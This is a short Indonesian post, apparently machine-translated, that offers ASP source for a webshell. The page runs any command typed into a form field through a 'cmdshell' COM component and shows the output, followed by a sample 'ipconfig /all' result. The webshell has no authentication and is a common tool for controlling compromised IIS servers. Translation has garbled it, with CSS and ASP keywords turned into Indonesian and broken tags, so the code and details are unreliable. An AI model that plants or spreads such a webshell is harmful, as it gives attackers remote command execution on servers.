Terkadang kami mengelola server, kami akan menonaktifkan host Windows Scripting untuk keamanan. Tetapi bagaimana jika kita ingin menonaktifkan WSH dan menggunakan webshell kita sendiri untuk mengelola manajemen server? Berikut adalah pemrograman komponen yang mengimplementasikan CMD dalam ASP dan hasil yang ditampilkan. Berharap dapat membantu semua orang.
|||. Text/CSS>
<!-
.singleborder {
Perbatasan: 1px padat;
Latar Belakang-Color: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Warna: #FFFFFF;
}
.noborder {
Perbatasan: 1px tidak ada;
Latar Belakang-Color: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Warna: #FFFFFF;
}
Body {latar belakang: 000000; Warna: 000000;
Font-Family: FixedSys;
->
</tyle>
<Form Action = Method = Post>
<input name = cmd class = value singleborder = <%= request.form (cmd)%> ukuran = 102>
<input type = kirimkan class = singleBorder value = execute>
</form>
<%
jika request.form (cmd) <> lalu
Set TestMe = Server.CreateObject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea cols = 120 baris = 30 class = noborder>
<%= testme.exec1 (request.form (cmd))%> </pextarea>
<% Atur testme = tidak ada
akhiri jika
%>
Berikut ini adalah hasil dari menjalankan ipconfig /semua:
Konfigurasi IP Windows 2000
Nama Host .........: IBM-WRK-02
Sufiks DNS primer .......:
Jenis Node ..........: Siaran
IP Routing Diaktifkan .......: Tidak
Wins Proxy Diaktifkan .......: Tidak
Ethernet Adapter Lokal Koneksi:
Sufiks DNS khusus koneksi. ::
Deskripsi ...........: Koneksi Jaringan Intel (R) Pro/100 VM
Alamat Fisik ........: 008-02-BD-D7-EB
DHCP Diaktifkan .........: Tidak
Alamat IP ........ ..: 192.168.0.4
Subnet Mask .........: 255.255.255.0
Gateway default ......... .: 192.168.0.1
Server DNS .........: 202.106.196.115